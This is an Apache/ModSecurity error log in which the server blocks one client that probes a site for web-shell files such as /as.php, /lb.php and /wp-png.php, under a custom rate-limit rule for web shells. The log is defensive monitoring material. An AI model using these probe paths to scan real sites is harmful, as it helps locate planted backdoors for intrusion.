[Sun Apr 26 15:21:01.371716 2026] [:error] [pid 8390:tid 8466] [client 20.215.250.178:26851] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/7logs.php"] [unique_id "ae283YGPtFK_i9p5yxT8FwAAAI8"]
[Sun Apr 26 15:21:01.639504 2026] [:error] [pid 13137:tid 13165] [client 20.215.250.178:26345] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/7logs.php"] [unique_id "ae283d0RB4J0o4h5neFGnQAAAhg"]
[Sun Apr 26 15:21:02.160797 2026] [:error] [pid 22572:tid 22580] [client 20.215.250.178:26943] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/7logs.php"] [unique_id "ae283tXOViWCFU-pZzDuOAAAAUI"]
[Sun Apr 26 15:21:02.611655 2026] [:error] [pid 22572:tid 22589] [client 20.215.250.178:26337] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/7logs.php"] [unique_id "ae283tXOViWCFU-pZzDuOwAAAUs"]
[Sun Apr 26 15:21:02.714546 2026] [:error] [pid 22572:tid 22599] [client 20.215.250.178:26841] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/7logs.php"] [unique_id "ae283tXOViWCFU-pZzDuPgAAAVU"]
[Sun Apr 26 15:21:03.512354 2026] [:error] [pid 8390:tid 8462] [client 20.215.250.178:26343] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/7logs.php"] [unique_id "ae2834GPtFK_i9p5yxT8GwAAAIs"]
[Sun Apr 26 15:21:03.580857 2026] [:error] [pid 22572:tid 22582] [client 20.215.250.178:26369] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/n3yUmQ6Q9xwQ8ocdefault.php"] [unique_id "ae2839XOViWCFU-pZzDuQQAAAUQ"]
[Sun Apr 26 15:21:04.626911 2026] [:error] [pid 22572:tid 22591] [client 20.215.250.178:26431] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/n3yUmQ6Q9xwQ8ocdefault.php"] [unique_id "ae284NXOViWCFU-pZzDuRAAAAU0"]
[Sun Apr 26 15:21:05.509212 2026] [:error] [pid 8390:tid 8459] [client 20.215.250.178:26816] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/n3yUmQ6Q9xwQ8ocdefault.php"] [unique_id "ae284YGPtFK_i9p5yxT8HgAAAIg"]
[Sun Apr 26 15:21:05.974219 2026] [:error] [pid 22572:tid 22578] [client 20.215.250.178:26844] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/n3yUmQ6Q9xwQ8ocdefault.php"] [unique_id "ae284dXOViWCFU-pZzDuRwAAAUA"]
[Sun Apr 26 15:21:06.566959 2026] [:error] [pid 8390:tid 8456] [client 20.215.250.178:26942] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/n3yUmQ6Q9xwQ8ocdefault.php"] [unique_id "ae284oGPtFK_i9p5yxT8IAAAAIU"]
[Sun Apr 26 15:21:07.138572 2026] [:error] [pid 13137:tid 13151] [client 20.215.250.178:26342] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/n3yUmQ6Q9xwQ8ocdefault.php"] [unique_id "ae28490RB4J0o4h5neFGoAAAAgo"]
[Sun Apr 26 15:21:07.790498 2026] [:error] [pid 8390:tid 8470] [client 20.215.250.178:26872] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/n3yUmQ6Q9xwQ8ocdefault.php"] [unique_id "ae2844GPtFK_i9p5yxT8IQAAAJM"]
[Sun Apr 26 15:21:08.774297 2026] [:error] [pid 22572:tid 22580] [client 20.215.250.178:26324] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/n3yUmQ6Q9xwQ8ocdefault.php"] [unique_id "ae285NXOViWCFU-pZzDuSgAAAUI"]
[Sun Apr 26 15:21:09.123980 2026] [:error] [pid 8390:tid 8454] [client 20.215.250.178:25834] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/as.php"] [unique_id "ae285YGPtFK_i9p5yxT8JAAAAIM"]
[Sun Apr 26 15:21:10.174895 2026] [:error] [pid 16515:tid 16529] [client 20.215.250.178:26399] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/as.php"] [unique_id "ae285ltDrUmgHSvpuLwZSgAAAks"]
[Sun Apr 26 15:21:10.487959 2026] [:error] [pid 16515:tid 16541] [client 20.215.250.178:26407] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/as.php"] [unique_id "ae285ltDrUmgHSvpuLwZTAAAAlc"]
[Sun Apr 26 15:21:11.598592 2026] [:error] [pid 8385:tid 8436] [client 20.215.250.178:25859] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/as.php"] [unique_id "ae285zOy7_J84Wx3-oyyEwAAAEw"]
[Sun Apr 26 15:21:11.840824 2026] [:error] [pid 22572:tid 22598] [client 20.215.250.178:26347] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/as.php"] [unique_id "ae2859XOViWCFU-pZzDuTAAAAVQ"]
[Sun Apr 26 15:21:12.858533 2026] [:error] [pid 8390:tid 8473] [client 20.215.250.178:26916] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/as.php"] [unique_id "ae286IGPtFK_i9p5yxT8KgAAAJY"]
[Sun Apr 26 15:21:13.146178 2026] [:error] [pid 8390:tid 8471] [client 20.215.250.178:26338] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/as.php"] [unique_id "ae286YGPtFK_i9p5yxT8LAAAAJQ"]
[Sun Apr 26 15:21:13.869456 2026] [:error] [pid 22573:tid 22606] [client 20.215.250.178:26346] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ctex1.php"] [unique_id "ae286XB3EmQlD4yKUt-36QAAAYA"]
[Sun Apr 26 15:21:14.138275 2026] [:error] [pid 16574:tid 16608] [client 20.215.250.178:26331] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/as.php"] [unique_id "ae286n5MsX8wRQr99nYfrQAAA0Q"]
[Sun Apr 26 15:21:14.720216 2026] [:error] [pid 8491:tid 8501] [client 20.215.250.178:26910] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ctex1.php"] [unique_id "ae286iq7I7e6CJooQM3jJgAAAMI"]
[Sun Apr 26 15:21:15.049221 2026] [:error] [pid 8385:tid 8444] [client 20.215.250.178:26863] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ctex1.php"] [unique_id "ae286zOy7_J84Wx3-oyyFwAAAFQ"]
[Sun Apr 26 15:21:15.499054 2026] [:error] [pid 22572:tid 22602] [client 20.215.250.178:26864] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ctex1.php"] [unique_id "ae2869XOViWCFU-pZzDuTwAAAVg"]
[Sun Apr 26 15:21:15.978688 2026] [:error] [pid 22572:tid 22597] [client 20.215.250.178:26340] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ctex1.php"] [unique_id "ae2869XOViWCFU-pZzDuUQAAAVM"]
[Sun Apr 26 15:21:16.396756 2026] [:error] [pid 8383:tid 8405] [client 20.215.250.178:26422] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ctex1.php"] [unique_id "ae287NFa2S3EsATMdWP1kQAAAAg"]
[Sun Apr 26 15:21:16.870862 2026] [:error] [pid 22572:tid 22588] [client 20.215.250.178:26307] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ctex1.php"] [unique_id "ae287NXOViWCFU-pZzDuVAAAAUo"]
[Sun Apr 26 15:21:17.015815 2026] [:error] [pid 22573:tid 22622] [client 20.215.250.178:26318] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lb.php"] [unique_id "ae287XB3EmQlD4yKUt-37AAAAY8"]
[Sun Apr 26 15:21:17.596315 2026] [:error] [pid 8385:tid 8441] [client 20.215.250.178:26421] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lb.php"] [unique_id "ae287TOy7_J84Wx3-oyyGgAAAFE"]
[Sun Apr 26 15:21:17.785080 2026] [:error] [pid 8383:tid 8402] [client 20.215.250.178:26418] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ctex1.php"] [unique_id "ae287dFa2S3EsATMdWP1lAAAAAU"]
[Sun Apr 26 15:21:18.333082 2026] [:error] [pid 8491:tid 8521] [client 20.215.250.178:26874] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lb.php"] [unique_id "ae287iq7I7e6CJooQM3jKQAAANY"]
[Sun Apr 26 15:21:18.570069 2026] [:error] [pid 8390:tid 8472] [client 20.215.250.178:26382] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lb.php"] [unique_id "ae287oGPtFK_i9p5yxT8LgAAAJU"]
[Sun Apr 26 15:21:19.004830 2026] [:error] [pid 22572:tid 22591] [client 20.215.250.178:26346] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lb.php"] [unique_id "ae2879XOViWCFU-pZzDuVQAAAU0"]
[Sun Apr 26 15:21:19.192168 2026] [:error] [pid 8491:tid 8510] [client 20.215.250.178:26328] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lb.php"] [unique_id "ae287yq7I7e6CJooQM3jKwAAAMs"]
[Sun Apr 26 15:21:19.562722 2026] [:error] [pid 8385:tid 8427] [client 20.215.250.178:26930] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cilus.php"] [unique_id "ae287zOy7_J84Wx3-oyyHQAAAEM"]
[Sun Apr 26 15:21:19.727328 2026] [:error] [pid 13137:tid 13140] [client 20.215.250.178:26833] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lb.php"] [unique_id "ae28790RB4J0o4h5neFGpQAAAgA"]
[Sun Apr 26 15:21:20.131005 2026] [proxy_fcgi:error] [pid 8385:tid 8438] [client 20.215.250.178:26914] AH01071: Got error 'Primary script unknown'
[Sun Apr 26 15:21:20.278018 2026] [proxy_fcgi:error] [pid 8385:tid 8442] [client 20.215.250.178:26858] AH01071: Got error 'Primary script unknown'
[Sun Apr 26 15:21:20.430623 2026] [proxy_fcgi:error] [pid 8385:tid 8448] [client 20.215.250.178:26914] AH01071: Got error 'Primary script unknown'
[Sun Apr 26 15:21:20.535569 2026] [proxy_fcgi:error] [pid 8385:tid 8439] [client 20.215.250.178:26858] AH01071: Got error 'Primary script unknown'
[Sun Apr 26 15:21:20.720269 2026] [proxy_fcgi:error] [pid 8385:tid 8426] [client 20.215.250.178:26914] AH01071: Got error 'Primary script unknown'
[Sun Apr 26 15:21:20.801263 2026] [proxy_fcgi:error] [pid 8385:tid 8436] [client 20.215.250.178:26858] AH01071: Got error 'Primary script unknown'
[Sun Apr 26 15:21:21.013783 2026] [proxy_fcgi:error] [pid 8385:tid 8432] [client 20.215.250.178:26914] AH01071: Got error 'Primary script unknown'
[Sun Apr 26 15:21:21.106934 2026] [proxy_fcgi:error] [pid 8385:tid 8444] [client 20.215.250.178:26858] AH01071: Got error 'Primary script unknown'
[Sun Apr 26 15:21:21.308011 2026] [proxy_fcgi:error] [pid 8385:tid 8440] [client 20.215.250.178:26914] AH01071: Got error 'Primary script unknown'
[Sun Apr 26 15:21:21.404356 2026] [proxy_fcgi:error] [pid 8385:tid 8446] [client 20.215.250.178:26858] AH01071: Got error 'Primary script unknown'
[Sun Apr 26 15:21:21.600920 2026] [proxy_fcgi:error] [pid 8385:tid 8433] [client 20.215.250.178:26914] AH01071: Got error 'Primary script unknown'
[Sun Apr 26 15:21:21.776280 2026] [:error] [pid 8385:tid 8445] [client 20.215.250.178:26858] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ortasekerli1.php"] [unique_id "ae288TOy7_J84Wx3-oyyLAAAAFU"]
[Sun Apr 26 15:21:21.888195 2026] [:error] [pid 8385:tid 8441] [client 20.215.250.178:26914] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-png.php"] [unique_id "ae288TOy7_J84Wx3-oyyLQAAAFE"]
[Sun Apr 26 15:21:22.488918 2026] [:error] [pid 16574:tid 16641] [client 20.215.250.178:26416] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ortasekerli1.php"] [unique_id "ae288n5MsX8wRQr99nYfsAAAA1c"]
[Sun Apr 26 15:21:22.517191 2026] [:error] [pid 8491:tid 8509] [client 20.215.250.178:26428] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-png.php"] [unique_id "ae288iq7I7e6CJooQM3jMAAAAMo"]
[Sun Apr 26 15:21:23.151461 2026] [:error] [pid 16574:tid 16605] [client 20.215.250.178:26936] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ortasekerli1.php"] [unique_id "ae28835MsX8wRQr99nYfsQAAA0E"]
[Sun Apr 26 15:21:23.224296 2026] [:error] [pid 13197:tid 13250] [client 20.215.250.178:26818] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-png.php"] [unique_id "ae28893kktFKdSxTrBu_ygAAAtI"]
[Sun Apr 26 15:21:23.803731 2026] [:error] [pid 8390:tid 8463] [client 20.215.250.178:26832] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ortasekerli1.php"] [unique_id "ae2884GPtFK_i9p5yxT8MQAAAIw"]
[Sun Apr 26 15:21:23.826496 2026] [:error] [pid 13137:tid 13142] [client 20.215.250.178:25802] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-png.php"] [unique_id "ae28890RB4J0o4h5neFGqAAAAgI"]
[Sun Apr 26 15:21:24.621550 2026] [:error] [pid 8390:tid 8474] [client 20.215.250.178:26879] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/about.php"] [unique_id "ae289IGPtFK_i9p5yxT8NAAAAJc"]
[Sun Apr 26 15:21:24.728443 2026] [:error] [pid 8383:tid 8408] [client 20.215.250.178:25806] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tx79.php"] [unique_id "ae289NFa2S3EsATMdWP1lwAAAAs"]
[Sun Apr 26 15:21:25.144034 2026] [:error] [pid 8390:tid 8466] [client 20.215.250.178:26371] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/about.php"] [unique_id "ae289YGPtFK_i9p5yxT8NgAAAI8"]
[Sun Apr 26 15:21:25.400864 2026] [:error] [pid 8390:tid 8465] [client 20.215.250.178:25491] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tx79.php"] [unique_id "ae289YGPtFK_i9p5yxT8NwAAAI4"]
[Sun Apr 26 15:21:25.758033 2026] [:error] [pid 8390:tid 8464] [client 20.215.250.178:25880] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/about.php"] [unique_id "ae289YGPtFK_i9p5yxT8OAAAAI0"]
[Sun Apr 26 15:21:26.262079 2026] [:error] [pid 8390:tid 8469] [client 20.215.250.178:25854] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tx79.php"] [unique_id "ae289oGPtFK_i9p5yxT8OgAAAJI"]
[Sun Apr 26 15:21:26.401160 2026] [:error] [pid 8390:tid 8459] [client 20.215.250.178:26904] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/about.php"] [unique_id "ae289oGPtFK_i9p5yxT8PAAAAIg"]
